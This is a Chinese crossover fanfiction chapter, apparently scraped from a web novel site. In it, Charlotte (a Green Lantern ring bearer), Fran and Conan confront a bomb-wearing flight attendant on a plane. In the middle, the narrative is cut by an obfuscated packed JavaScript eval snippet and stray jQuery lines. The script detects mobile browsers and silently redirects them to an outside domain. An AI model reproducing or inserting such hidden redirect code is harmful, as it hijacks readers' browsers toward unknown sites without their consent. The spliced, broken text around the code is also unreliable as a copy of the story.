“这可不太妙啊,”顿了顿,弗兰继续说道,“应该说,这有点太糟了。”
将目光下意识投到自己的指环上,夏洛蒂沉默着点点头,踌躇了一下,没有继续说话。
她能制止这一切,她有这样的能力,当然,她也不会坐视这样的悲剧发生,只是......
她尚且还未知晓故土的事物便如此草率的用出自己的力量,当然不是什么明智的决定。
“me之前就说过,me不可能是凶手啦,不管怎么说,起码现在还有一件好事。”弗兰这么说着,脸上也没有多少凝重。
已经知晓了弗兰的性格的夏洛蒂在他话还没有说出去的时候就已经知道了他想说什么,并相当诚恳地说道:“我当然知道你想说什么,不过,不管从什么角度来看,这都不是讲冷笑话的时候,不是吗?”
“欸,但是me想说的其实不是冷笑话......”
于是,夏洛蒂相当冷酷无情地补充道:“吐槽同样也是不合时宜的。”
“喂,夏莉,你刚刚的话也是吐槽吧,”弗兰很快就抓住了夏洛蒂话里的漏洞,话里带着些不满,“真是太过分了,只允许自己吐槽,结果连话都不允许me说,像暴君一样。”
“我说了一些常理之中的话而已,不要给我扣这么大的帽子。”夏洛蒂面无表情地吐槽道。
紧绷着的场面似乎稍微放松了那么一点点,起码在两人的插科打诨之下,机舱里有了些声音,听起来好歹好过死寂。
弗兰和夏洛蒂两个人都有自己藏着掖着的一些底牌,要是情况真的到达了无可挽回的地步,他们也有力挽狂澜的办法。
所以,他们显得有些不着调,或者说,在生死关头显得有些过分轻松了,甚至于轻松得有些碍眼。
夏洛蒂转过身去,走上前两步,将那个少女和叫做柯南的孩子挡在了自己的身后。
“不管怎么说,这样随意地拿自己和他人的生命冒险都不是什么值得称颂的决定,”她桌上那杯有毒的水也是这位空乘端上来的,所以很显然她同样想要了夏洛蒂的命,不过夏洛蒂的话里却没有丝毫芥蒂,“虽然这些话有些过于陈旧,也实在是有些像大道理,不过我想,我确实还是应该说出来。”
她实在是算不上什么好的说客,毕竟对她来说,最好的说服方式其实应该是把对手狠狠揍倒在地上爬不起来,然后站在他身边说。
曾几何时,她也试过在面对会带来危险的家伙时动之以理,不过,最后的结果嘛,那个动大概会变成动手的动。
但,那位空乘和夏洛蒂所面对过战胜过的那些穷凶极恶的匪徒不一样,夏洛蒂垂下眼,她手指上那一枚造型奇特的戒指正发出有些难以察觉的绿光,她甚至比飞机上的其他人都要害怕,身体颤抖,手也颤抖着。
所以,夏洛蒂想,她也许可以去试试,起码做点什么,让结局不至于这么坏。
用绿灯戒构筑出屏障,炸弹爆炸的余波自然就不会波及到外界,她大概也能猜到弗兰的做法,无非是用他的独特的手段(请原谅她实在是不知道该如何称呼他的能力)像她一样隔绝,或者,再干脆一点,让她直接死去。
为什么不这么做呢?死去的只是一个人,而且还是一切的始作俑者,这样不是皆大欢喜吗?
夏洛蒂觉得这样不太好,她说不出哪里不太好,但总觉得不应该是这样。
好吧,她垂下头,不明显地嗤笑了一声,说到底,还是当习惯了的英雄,习惯了在所有的坏或者不那么坏的结局中拼尽全力走到最好的那个,哦,还有被某些人影响的不杀,以至于不愿意看到有人死在自己面前。
......不过,这正是她被绿灯戒所选中的理由,不是吗?
“想报复一个人的手段很多,想要报仇的机会总归也是不少的,”她眼里的疑惑不像是刻意伪装出来的,言辞也很恳切,“你不必为此搭上你的全部,乃至于......生命。”
“更何况,你所想报复的......”
夏洛蒂顿了顿,还是没有将真相说出来,毕竟还有这么多人在,总归不太好,更何况,她觉得她说得已经够多了。
弗兰皱了一下眉,因为夏洛蒂站了出来,虽然不太想出这个头,但他也不想放任她进入危险之中。
夏洛蒂需要顾忌,他可不用,更何况,他并不觉得这有什么需要掩饰的。
“我感觉夏莉你这样说没有用哦,虽然夏莉你真的很想救她,但是这种方法的话......,”弗兰摊开手,意思很明确了,“其实me觉得这样的做法真的很无聊诶,又是绑炸弹又是下毒什么的,结果最后连复仇的人都是错误的话,其实直接死掉也挺好的。”
“啊,me好像明白了,这种死法是蠢死吧?”
柯南不理解夏洛蒂为什么不让弗兰说话,柯南明白了。
他几乎不知道该用什么样的眼神去看这个,刚刚被毛利小五郎指认为凶手现在又挡在他面前的少年。
好吧,事实上,刚刚那一瞬间,柯南聪明的脑袋瓜子已经停转了一会,残留在脑海里唯一的念头就是扑上去捂住他的嘴巴,让他不要再继续说下去。
得益于弗兰在瓦利安以及他口中的师父那里训练出来的语速,在其他人还没来得及反应过来的时候,他就已经说完了。
“等一下,你先不要冲动,”但是此刻柯南已经无暇顾忌弗兰了,他对着那个身上绑满了炸弹的空乘说道,声音急切极了,“事情还有挽回的余地,你先冷静下来。”
夏洛蒂和弗兰走得很急,这趟航班虽然已经满员,但是飞机是小机型,所以乘客也没有那么多。
实际上,发生了这么大的变故,睡得再沉的人都会被惊醒,只是在这样的变故面前,人在极度惊恐之下会本能地保持沉默,或者说,被吓傻了。
飞机上的其他人得到了提醒,也开始七嘴八舌地劝阻起来,机舱里面于是越来越吵闹,像是进了一个菜市场。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15385511|168443||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
夏洛蒂微微后退一步,表情更凝重了,手上戒指的光还是忽明忽暗,似乎已经蓄势待发了。
这是无效的,无用的,甚至于会起反作用的劝阻。
这个道理弗兰明白,夏洛蒂明白,柯南他们一行人当然也明白。
可是,一旦人找到能稍微宣泄恐惧的缝隙之后,就很难停下来了,现在也是如此,场面似乎开始失控起来。
起初只是安慰,后面人声里面夹杂了些恐惧到极点的呜咽,再之后是哭腔、哭泣,最后咒骂、怨天尤人、愤怒乃至于其他人的安慰声,有些头脑清醒地人试图维持秩序的声音交织在了一起。
那位身上绑着炸弹还打算下毒的空乘小姐本来精神在诸多刺激(虽然我们也不知道具体是什么)下本来就已经不太好了,现在被人声这样一激,似乎还能再向下滑落一点。
考虑到她手上拿着的东西像是控制器,身上的炸药又在滴滴作响,无论是触发式的炸弹还是计时式的炸弹,让她的情绪往崩溃深渊滑落无论怎么看都不想是什么明智之举。
那个叫柯南的孩子和他身边被称为小兰的少女倒是想要维持秩序,不过,在这样大的声音之下,再想让其他人听见他们的声音其实很难。
叫毛利小五郎的大叔其实也有在努力,不过,他的英语实在是有些一言难尽,很显然的,他又不会意大利语,反而,更像是在使本就混乱的情况更加混乱了,或者用简单一点的说法,添乱。
柯南脸上浮现出些焦急来,他在想办法,一个又一个,然后又被否决。
他会拆弹,但是犯人本就存了死志;用麻醉针,她的手一直握在开关上,没有人可以保证,在她倒下的时候,手会不会不自觉按下,或者那个开关落在地上,被重力启动;言语劝说,这太好了,他刚刚试过,现在情况变得更糟了。
快想啊,快想啊,一定还有其他办法的不是吗?他这样告诉自己,也这样逼迫自己。
对了,他突然想到什么,他抓住了弗兰的衣袖,让后者看了过来。
危机关头,他已经顾不上声音的伪装了,他用远超这个年纪的严肃语气问道:“大哥哥,你刚刚说,她复仇的人是错误的,对吧?”
弗兰点点头,装模作样思考了一会才回答道:“me是这么说的哦,因为本来坐在me们位置上的不应该是me们呢。”
不等柯南做出什么反应,弗兰就难得叹了口气,拍了一下他的肩膀,似乎做出了什么决定。
“夏莉也不太喜欢这样吵闹的环境,”他说道,他抬起一只手,他的手上也有戒指,还不止一枚,造型同样奇特,“虽然和me没什么关系啦,但是让夏莉心情不好的话,me的心情也会受到影响嘛。”
靛青色的雾气不知道自什么地方涌现,一丝一缕,自四面八方攀附上人的身躯,除却夏洛蒂和弗兰之外没有人幸免。
弗兰依旧是那副冷淡的神色,声音也没有起伏:“me姑且先处理一下。”